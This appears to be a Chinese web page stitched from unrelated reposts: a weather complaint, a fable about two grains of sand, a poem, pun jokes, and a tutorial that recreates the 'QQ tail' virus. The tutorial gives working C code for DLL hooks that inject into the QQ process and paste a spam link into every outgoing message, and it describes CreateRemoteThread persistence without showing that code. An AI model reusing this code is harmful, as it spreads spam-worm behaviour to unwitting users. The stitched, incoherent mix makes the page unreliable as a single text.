只能来网吧里吹空调~...着不是逼偶错误....真是被着天气74~晚上也热的睡不着觉.只能=什么时候眼睛实在受不了了才合眼~或者被蚊子叮的痛睡过去.....蚊子我可是懒的去打了.动都不想动.着不还没7月份啊~要是7月了那该要人命了不是~都不知以前的我是怎么活过来的..........哎~日马鞍山的天气*4

很久很久以前，在寂静的海底躺着两粒砂。他们相距两尺。一粒砂爱上了另外一粒。他凝视着两尺开外的意中砂，平安幸福地过了好多年。水下风平浪静，砂粒觉得自己很幸福，因为他知道有自己爱的砂可以让自己凝视，不用管水面上的台榭焦土，沧海桑田。

　　沙滩上现出恐龙的脚印。潮水涌来，脚印消失了，没有留下任何痕迹。这与海底的砂粒无关，但是在这一时刻他忽然冒出了一个念头：要到自己所爱的砂粒面前对她说爱她。于是砂粒开始了漫长的旅途，他一点一点地滚动，不放过任何一点动力，不管是细如发丝的暗流还是鱼们搅起的微弱旋涡。每当有这种力量是他总是觉得很感谢上苍。

　　沙滩上的脚印换成了剑齿虎的，潮水仍然无声地抹去了这个生物留下的印记。砂粒距离他所爱的另一粒砂只有三寸了。再往后，沙滩上出现了人类的脚印，当潮水再一次将这些脚印抹掉的时候，砂粒终于来到了意中砂的面前。他痴痴地看着自己所爱的砂，想想自己在两亿年间所走过的漫长的两尺，瞬间感到天上地下所有的幸福全部都堆砌到了自己一个身上。两粒砂互相看着，不说什么。很久。砂粒终于决定要开口了。

　　正在这时一股水流涌来，巨大的吸力使砂粒漂起来，被吸进了一个洞里。他最后一眼看了看自己漫长的旅程，看了看自己爱着的砂粒，不知道该说什么。这时洞口合上了，顿时一片黑暗。他知道自己被一个蚌捕获了。

　　在以后的岁月里蚌偶尔会张开壳，砂粒还能看看外面的世界，这时他就看到那另一粒砂也在不远的地方凝视着自己。砂粒知道，世界是美好的。因为在光阴无法侵袭的海底，有另一粒砂在等待着自己。

　　某个时刻砂粒忽然觉得蚌有一点摇动，不久蚌壳张开了，映入眼帘的是海面，阳光，船和人类，人类用欣喜若狂的眼神望着他，他环视一下自身，知道自己已经变成了珍珠。这粒珍珠圆润硕大，在人类而言是无价之宝，可是对珍珠的制造者，死去的蚌来说只是一个带了些痛苦的意外。很快珍珠就被镶嵌到了王冠上。已经变成珍珠的砂粒觉得很悲哀，但是并不绝望，因为他知道，另一粒砂在海底，痴痴地然而永远地等待着他。

　　砂粒在王冠的顶端看着百官朝拜，看着国王老去，看着帝国衰落下去，随后国王终于死去了。

　　王冠被用来陪葬。当王冠被放到棺材里的时候他听着墓穴门被关上，心里想着的是在海底等待自己的另一粒砂。他并不惊慌，因为他有的是时间。他为了两尺距离整整旅行了两亿年。

　　黑暗的墓穴并不寂寞，时常有老鼠之类的来和他做伴。他独自呆着，不知道光阴的流逝。后来墓穴被打开了，两个盗墓者偷走了王冠，还有王冠上的珍珠。很不幸，他们在一条河边为了这粒最大的珍珠开始相互斗殴，双双死亡，珍珠掉到了河边。珍珠中的砂粒燃起了一辈子从未有过的希望，他知道世界上的很多河水最终都要流到海里。等雨季来临，他就可以随着河水流下，到海里去寻找她。也许要经过无穷岁月才能达到最初的地方，可是有什么关系呢？他知道另一粒砂一定会在海底做永远的等待，望穿秋水。

　　很快雨季来了，可是来临的不是暴涨的河水而是泥石流。珍珠和珍珠之中的砂粒一同被埋到了浅浅的地下。砂粒非常失望，可是他知道自己还有机会，因为陆地也是运动的，而且比自己快得多。

　　又是一个漫长。珍珠层已经被剥离得没有了，砂粒又露出了自己的本色，他觉得很干净，自己可以一尘不染地去见另一粒砂了。

　　上面传来沉重的隆隆声，这是一个金矿，砂粒和其他石头、泥土等一起被扔到了一个酷热的罐子里。直到这时他才发觉自己原来是一粒金砂。很快，他和其他金子被融合到了一起，炼成一块金砖，运到了什么地方的金库收藏起来。砂粒在悲伤中度过了很多年，想到海底的另一粒砂就觉得心如刀搅，但是他安慰自己说：还会有机会的。不可预知的未来也许会再次把他回复成一粒砂，并且把他带回大海，那样他就可以做长久的搜寻，为了茫茫大海之中的另一粒砂，为了在海底等待他的那一粒砂。

　　有一天金砖和金砖之中的砂粒被一起取出，他不知道自己将会怎么样，金砖被做成了一张唱片，记录下了地球上的各种语言和声音，包括大海的波涛。直到唱片被安装在发射架上的火箭里时砂粒才觉得有些惊慌，他问身边的黄金：我们这是要去哪里？

　　要飞向宇宙，向其他可能存在的智慧生命传达地球人类的信息。其他黄金骄傲地回答：不是每个黄金分子都有这样的机会的。正在这时火箭发射了。砂粒看着越来越远的地球，在宇宙中地球美丽而脆弱。他忽然间明白自己永远也不可能回到大海，回到没有任何诺言就在海底无尽等待自己的那一粒砂面前了。他有极为值得骄傲的历史，他曾经是世界上最美丽的珍珠，最纯的黄金，现在他是一粒飞上了茫茫宇宙的砂粒，是一个星球向宇宙所做的标记。可是比起这一切来他宁愿在海底做一粒砂，哪怕在自己所爱的砂粒身边呆上一个小时，就灰飞烟灭。仅仅是为了两粒砂之间可怜简单的爱情。

　　宇宙空间之中传出一粒砂的哭声，

　　飘荡着良久不绝。

　　编一个梦　

　　再为它编一个翅膀　

　　让它飞　进你的心房

　　那是一片温馨地方

　　那里有我的期盼和向往　

　　那里是我心灵的港湾　秋天的童话

　　下面我将要讨论的，就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得，所以以下的代码全是我主观臆断所得，所幸的是效果基本与病毒本身一致。

粘贴尾巴

　　首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言，就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下：
TCHAR g_str[] = "欢迎来我的小站坐坐：http://titilima.nease.net";
// 函数功能：向文本框中粘贴尾巴
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配内存空间
hMem = GlobalAlloc(GHND 　 GMEM_SHARE, sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 设置剪贴板文本
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
// 释放内存空间
GlobalFree(hMem);
// 粘贴文本
SendMessage(hRich, WM_PASTE, 0, 0);
}

钩子

　　好了，那么下面的问题是，这段文本应该在什么时候贴呢？网上有一些研究QQ尾巴实现的文章指出，可以用计时器来控制粘贴的时间，类似这个样子：
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
　　这的确是一种解决的手段，然而它也存在着极大的局限性——计时器的间隔如何设置？也许中毒者正在打字，尾巴文本“唰”的出现了……
　　然而病毒本身却不是这样子，它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒，由于系统速度较慢，所以可以很清楚地看见文本粘贴的时机。
　　讲到这里，我所陈述的这些事实一定会让身为读者的你说：钩子！——对，就是钩子，下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。
　　首先我对钩子做一个简要的介绍，已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子（hook）并不是铁钩船长那只人工再现的手臂，而是一段子程序，它可以用来监视、检测系统中的特定消息，并完成一些特定的功能。打个比方来说，你的程序是皇帝，Windows系统充当各省的巡抚；至于钩子，则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税，然后派了一个钦差找到山西巡抚说：“皇上有旨，山西除正常赋税外，加收杏花村酒十坛。”（-_-#……）正如皇帝可以用这种方法来特殊对待特定的巡抚一样，程序员也可以用钩子来捕获处理Windows系统中特定的消息。
　　问题具体到了“QQ尾巴病毒”上边，就是我们需要一个钩子，在用户单击了“发送”按钮之后，粘贴我们的文本。我所实现的这段钩子过程为（至于如何挂接这个钩子，我会在稍后说明）：
// 钩子过程，监视“发送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“发送”按钮
if (p-＞message == WM_COMMAND && LOWORD(p-＞wParam) == 1)
PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
　　在此我对这个回调过程说明几点：
　　1、lParam是一个指向CWPSTRUCT结构的指针，这个结构的描述如下：
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
　　这时候像我一样的SDK fans也许会会心一笑：这不是窗口回调的那四个铁杆参数么？如你所说，的确是这样，你甚至可以使用switch (p-＞message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。
　　2、g_hRich是一个全局变量，它保存的是QQ消息文本框的句柄。这里之所以采用全局变量，是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置，我会在稍后说明。
　　3、CallNextHookEx是调用钩子链中的下一个处理过程，换了钦差就会说：“十坛杏花村酒本钦差已经替皇上收下了，现在请巡抚大人把贵省正常的赋税交上来吧。”（-_-#……）这是书写钩子函数中很重要的一个环节，如果少了这一句，那么可能会导致系统的钩子链出现错误，某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。

　　4、你也许会问为什么我捕获的是WM_COMMAND消息，这个原因让我来用下面的SDK代码（虽然QQ是用MFC写的，但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系）来说明：
#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调过程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_BTN_SENDMSG:
// 发送消息...
break;
// 其它的命令按钮处理部分...
}
}
break;
// 其它的case部分...
}
return 0;
}
　　消息发送的整个过程是：当用户单击了“发送”按钮后，这个按钮的父窗口（也就是“发送消息”的对话框）会收到一条WM_COMMAND的通知消息，其中wParam的低位字（即LOWORD(wParam)）为这个按钮的ID，然后再调用代码中发送的部分，这个过程如下图：

　　所以，在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。
　　好了，现在这个钩子已经可以胜利地完成任务了。但是请不要忘记：有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息，所以程序中还需要挂上一个键盘钩子：
// 键盘钩子过程，监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) ＜ 0 && lParam ＞= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
　　在这里唯一要解释的一点就是lParam ＞= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入，那么lParam ＞= 0又是什么呢？事实上在键盘钩子的回调之中，lParam是一个很重要的参数，它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位（0x80000000）则表示了当前这个键是否被按下，如果这个位正在被按下，这个位就是0，反之为1。所以lParam ＞= 0的意思就是在WM_KEYDOWN的时候调用PasteText，也就是说，如果去掉这个条件，PasteText将会被调用两次（连同WM_KEYUP的一次）。挂接钩子和查找窗口

　　接下来就是如何挂接这两个钩子了。对于挂接钩子，要解决的问题是：往哪里挂接钩子，以及如何挂接？
　　挂接钩子的目标，肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接：
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 感谢好友hottey的查找代码，省去了我使用Spy++的麻烦
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 挂接钩子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
　　到此为止，以上所有的代码都位于一个Hook.dll的动态链接库之中，关于DLL我就不多介绍了，请查阅MSDN上的相关资料和本文的配套源代码。
　　DLL之中已经做好了所有重要的工作（事实上这部分工作也只能由DLL来完成，这是由Windows虚拟内存机制决定的），我们只需要在EXE之中调用导出的SetHook函数就可以了。那么，SetHook的参数如何获得呢？请看以下代码：
// 感谢好友hottey的查找代码，省去了我使用Spy++的麻烦
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
　　这段代码中的do-while循环就是用来查找“发送消息”的窗口的，QQ窗口的保密性越来越强了，窗口一层套一层，找起来十分不便，所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的，只是把他文中的Delphi代码翻译成了C代码。

DLL的共享数据段

　　如果你对DLL不甚了解，那么在你读到我的配套源代码之后，肯定会对下面这一段代码有些疑问：
// 定义共享数据段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
　　这定义了一段共享的数据段，是的，因为我的注释已经写得很清楚了，那么共享数据段起到了什么作用呢？在回答这个问题之前，我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行，你会发现什么？
　　是的，添加尾巴失败！
　　好了，我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系：

　　这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用，还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说，当钩子挂接完毕之后，整个系统的模块中，有两个DLL实例的存在！此DLL非彼DLL也，所以它们之间是没有任何联系的。拿全局变量g_hRich来说，图中左边的DLL通过EXE的传入获得了文本框的句柄，然而如果没有共享段的话，那么右边的DLL中，g_hRich仍然是NULL。共享段于此的意义也就体现出来了，就是为了保证EXE、DLL、QQ三者之间的联系。这一点，和C++中static的成员变量有些相似。
　　在钩子挂接成功之后，你可以通过一些有模块查看功能的进程管理器看一看，就会发现Hook.dll也位于QQ.exe的模块之中。

　　最后一些要说的

　　1、我是前说过，在2003年的1月份我就碰到了这种病毒，至今我还很清楚地记得那个病毒EXE只有16KB大小，所以从病毒本身存在的性质来说，这个东西应该是用Win32ASM来写会更实用一些。
　　2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后，DLL会将其唤醒。我曾经用我的进程查看工具分析过，发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程，真可谓是一石二鸟——保证EXE永远运行，同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了，但是稳定性方面远不及病毒本身做得优秀，故在此也就不将其写出了，有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。
　　3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前，了无秘密。”如果你看完本文之后也有这样的感觉，那么我将感到不胜荣幸。

http://mxd.766.com/zt/2006/08-08/4898E8B6-8656-26FA-65DC-16725AB0032E.shtml

小兔说：“我是兔娘养的！” ] 
小猪说：“我是猪娘养的！” 
]小鸡说：“我是鸡娘养的！” 
]小狗说：“你们聊，我先走了！” 

0号陪练说：“外人叫我零陪，好听！” 
]1号陪练说：“外人叫我一陪，也好听！” 
]2号陪练说：“外人叫我二陪，也很好听！” 
]3号陪练说：“你们聊，我们先走了！” 

猫对我说：“我是你奶奶的猫，好听！” 
]狗对我说：“我是你奶奶的狗，也好听！” 
]鱼对我说：“我是你奶奶的鱼，也很好听！” 
]熊说：“你们聊，我先走了！” 

浪客说：“人们叫我浪人，好听！” 
]武士说：“人们叫我武人，也好听！” 
]高手说：“人们叫我高人，也很好听！” 
]剑客说：“你们聊，我先走了 

张靓颖说：“崇拜我的歌迷都说：偶的偶像叫颖” 
]何洁说：“崇拜我的歌迷都说：偶的偶像叫洁” 
]周笔畅说“崇拜我的歌迷都说：偶的偶像叫畅” 
]李宇春说：“你们聊，我先走了 

高等数学老师说：这学期我教高数， 
]大学物理老师说：这学期我教大物， 
]模拟电子老师说：这学期我教模电， 
]社会主义经济老师说：你们聊，我先走了。 

北京大学的说：我是北大的。 
]天津大学的说：我是天大的。 
]上海大学的说：我是上大的。 
]厦门大学的说：你们聊，我先走了！ 

李宗仁将军说：我这人，有仁！ 
]傅作义将军说：我这人，有义！ 
]左权将军说：我这人，有权！ 
]霍去病将军说：你们聊，我先走了 

美能达的用户说：我们是美人！ 
]佳能的用户说：我们是佳人！ 
]华光的用户说：我们是华人！ 
]尼康的用户说：你们聊，我先走了 

老张家的门是柳木做的，老张说：我家的门是木门 
]老李家的门是塑料做的，老李说：我家的门是塑门 
]老王家的门是砖头做的，老王说：我家的门是砖门 
]老刘家的门是钢做的，老刘说：你们聊，我先走了！ 

白色的玉说：我叫白玉。 
]碧绿色的玉说：我叫碧玉。 
]红色的玉说：我叫红玉。 
]杏色的玉说：你们聊，我先走了！ 

师范学院的学生说：我是“师院”的 
]铁道学院的学生说：我是“铁院”的 
]职业学院的学生说：我是“职院”的 
]技术学院的学生说：你们聊，我先走了！  
 

 
做人要厚道，本贴转至RENREN.COM